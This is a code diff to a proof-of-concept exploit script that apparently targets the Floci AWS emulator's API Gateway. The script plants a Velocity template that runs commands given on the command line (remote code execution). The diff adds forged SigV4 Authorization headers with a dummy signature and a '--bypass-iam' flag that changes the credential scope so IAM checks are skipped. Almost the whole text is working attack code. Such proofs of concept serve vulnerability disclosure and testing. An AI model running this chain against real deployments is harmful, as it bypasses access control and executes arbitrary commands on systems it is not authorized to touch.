Add Floci IAM scope bypass chain

floci-apigateway-vtl-rce-poc/poc.py

@@ -6,12 +6,14 @@ import urllib.error
 import urllib.request
 
 
-def request_json(method, base_url, path, body=None):
+def request_json(method, base_url, path, body=None, authorization=None):
     data = None
     headers = {"Accept": "application/json"}
     if body is not None:
         data = json.dumps(body).encode()
         headers["Content-Type"] = "application/json"
+    if authorization is not None:
+        headers["Authorization"] = authorization
     req = urllib.request.Request(base_url + path, data=data, headers=headers, method=method)
     try:
         with urllib.request.urlopen(req, timeout=15) as resp:
@@ -54,25 +56,44 @@ def payload(argv):
     )
 
 
-def exploit(base_url, argv, cleanup):
+def sigv4_authorization(access_key, date, region, scope, signature):
+    return (
+        f"AWS4-HMAC-SHA256 Credential={access_key}/{date}/{region}/{scope}/aws4_request, "
+        f"SignedHeaders=host, Signature={signature}"
+    )
+
+
+def control_plane_authorization(args):
+    if args.authorization:
+        return args.authorization
+    if args.bypass_iam and not args.auth_access_key:
+        raise ValueError("--bypass-iam requires --auth-access-key or --authorization")
+    if not args.auth_access_key:
+        return None
+    scope = "iam" if args.bypass_iam else args.auth_scope
+    return sigv4_authorization(args.auth_access_key, args.auth_date, args.auth_region, scope, args.auth_signature)
+
+
+def exploit(base_url, argv, cleanup, authorization):
     stamp = str(int(time.time()))
     template = payload(argv)
-    api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}), 201, "create REST API")
+    api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}, authorization), 201, "create REST API")
     api_id = api["id"]
     print(f"[+] REST API id: {api_id}")
-    resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources"), 200, "list resources")
+    resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources", authorization=authorization), 200, "list resources")
     root_id = resources["item"][0]["id"]
-    resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}), 201, "create resource")
+    resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}, authorization), 201, "create resource")
     resource_id = resource["id"]
     print(f"[+] Resource id: {resource_id}")
-    require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}), 201, "create method")
-    require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}), 201, "create method response")
+    require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}, authorization), 201, "create method")
+    require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}, authorization), 201, "create method response")
     require(
         request_json(
             "PUT",
             base_url,
             f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration",
             {"type": "MOCK", "requestTemplates": {"application/json": '{"statusCode": 200}'}},
+            authorization,
         ),
         201,
         "create integration",
@@ -83,19 +104,20 @@ def exploit(base_url, argv, cleanup):
             base_url,
             f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration/responses/200",
             {"selectionPattern": "", "responseTemplates": {"application/json": template}},
+            authorization,
         ),
         201,
         "create integration response",
     )
-    deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}), 201, "create deployment")
+    deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}, authorization), 201, "create deployment")
     deployment_id = deployment["id"]
-    require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}), 201, "create stage")
+    require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}, authorization), 201, "create stage")
     status, raw, parsed = request_json("GET", base_url, f"/execute-api/{api_id}/prod/rce")
     if status != 200:
         raise RuntimeError(f"trigger failed: HTTP {status}: {raw[:500]}")
     print(f"[+] Trigger response: {raw.strip()}")
     if cleanup:
-        deleted = request_json("DELETE", base_url, f"/restapis/{api_id}")
+        deleted = request_json("DELETE", base_url, f"/restapis/{api_id}", authorization=authorization)
         print(f"[+] Cleanup delete REST API: HTTP {deleted[0]}")
     return parsed
 
@@ -107,9 +129,17 @@ def main():
     parser.add_argument("--scheme", default="http", choices=("http", "https"))
     parser.add_argument("--argv", nargs="+", required=True)
     parser.add_argument("--no-cleanup", action="store_true")
+    parser.add_argument("--authorization")
+    parser.add_argument("--auth-access-key")
+    parser.add_argument("--auth-date", default="20260623")
+    parser.add_argument("--auth-region", default="us-east-1")
+    parser.add_argument("--auth-scope", default="apigateway")
+    parser.add_argument("--auth-signature", default="test")
+    parser.add_argument("--bypass-iam", action="store_true")
     args = parser.parse_args()
     try:
-        exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup)
+        authorization = control_plane_authorization(args)
+        exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup, authorization)
         return 0
     except Exception as exc:
         print(f"[-] {exc}", file=sys.stderr)